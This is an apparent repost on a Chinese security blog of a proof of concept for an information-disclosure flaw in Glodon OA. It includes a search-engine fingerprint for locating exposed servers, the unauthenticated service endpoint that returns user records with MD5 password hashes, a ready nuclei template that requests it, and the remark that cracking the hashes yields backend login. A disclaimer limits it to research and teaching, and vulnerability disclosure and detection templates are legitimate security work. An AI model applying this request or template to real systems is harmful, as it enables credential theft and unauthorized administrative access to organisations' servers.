广联达OA信息泄露漏洞_可登录后台

admin
admin
admin
138883
文章
114
评论
2024年5月15日22:44:24评论73 views字数 634阅读2分6秒阅读模式

二、产品介绍：

广联达OA信息泄露漏洞_可登录后台

三、资产梳理：

web.body="/Services/Identification/Server/"

四、漏洞复现：

广联达OA信息泄露漏洞_可登录后台

MD5解密成功即可登录后台

五、POC：

/Org/service/Service.asmx/GetUserXml4GEPS

nuclei检测：

id: guanglianda_oa_info_leakinfo:  name: guanglianda_oa_info_leak  author: joyboy  severity: high  description: http://xxx.xxx.xxx/Org/service/Service.asmx/GetUserXml4GEPS  metadata:    max-request: 1    hunter-query: web.body="/Services/Identification/Server/"    verified: true  tags: 广联达OA,infoleak

http:  - raw:      - |        GET /Org/service/Service.asmx/GetUserXml4GEPS HTTP/1.1        Host: {{Hostname}}        User-Agent: python-requests/2.26.0

    matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        words:          - 'PWDMD5'

原文始发于微信公众号（fly的渗透学习笔记）：广联达OA信息泄露漏洞_可登录后台

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月15日22:44:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   广联达OA信息泄露漏洞_可登录后台https://cn-sec.com/archives/2045784.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息